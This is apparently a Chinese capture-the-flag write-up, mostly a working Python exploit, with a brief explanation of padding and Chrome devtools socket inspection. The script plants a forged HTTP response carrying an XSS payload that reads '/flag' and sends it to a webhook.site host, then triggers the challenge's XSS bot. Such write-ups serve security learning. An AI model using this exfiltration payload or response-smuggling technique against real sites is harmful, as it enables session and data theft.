1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import jsonimport requestshtml = "<script>fetch('/flag').then(r=>r.text()).then(r=>location='https://webhook.site/8fba2a85-8c62-4733-b03c-b34501d96c8f?flag='+encodeURIComponent(r))</script>" payload = f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {len (html)} \r\n\r\n{html} " wrapped = "À" * 724 * 8 + payload + "x" * (724 * 8 - len (payload)) assert len (wrapped) == 724 * 8 * 2 assert wrapped.encode()[len (wrapped) :].decode().startswith(payload)garbage = "x" * 20480 resp = requests.get("http://35.224.135.84:3100/create_board" , allow_redirects=False ) id = resp.headers["location" ].split("/" )[-1 ]def add_note (id , body ): requests.post( "http://35.224.135.84:3100/board/add_note" , json={"id" : id , "body" : body} ) add_note(id , wrapped) add_note(id , garbage) add_note(id , garbage) add_note(id , garbage) add_note(id , garbage) add_note(id , garbage) add_note(id , "pekomiko" ) print (f"http://35.224.135.84:3100/board/{id } " )from pwn import remoter = remote("35.224.135.84" , 3101 ) r.send(f"GET /{id } /note0\n\n" ) r.recvuntil(b"\r\n\r\n" ) print ("sancheck" , r.recvall(timeout=2 ).decode() == wrapped)try : requests.get(f"http://35.224.135.84:3100/board/{id } /report" , timeout=10 ) except : pass print ("done" )
裡面我把 À
和 payload
pad 到 724
的倍數是為了讓它對齊,而 * 8
的部份我測試過,就算不用也可以對它的 XSS Bot
有效果,然而我在本機測試的時候如果不用 * 8
就會失敗(iframe6
開了新的連線),不知道是什麼緣故。
註: 在 Chrome devtools 裡面的 Network tab 的
Name | Status | Type ...
的那個地方點右鍵可以選擇
Connection ID
,就可以顯示出每個連線究竟是哪個 socket
了。Waterfall
的欄位如果有橘色出現就代表它開了新的
socket,沒有就代表重用了原本 socket。
補充: PlaidCTF 2021 的官方 Carmen
Sandiego Solution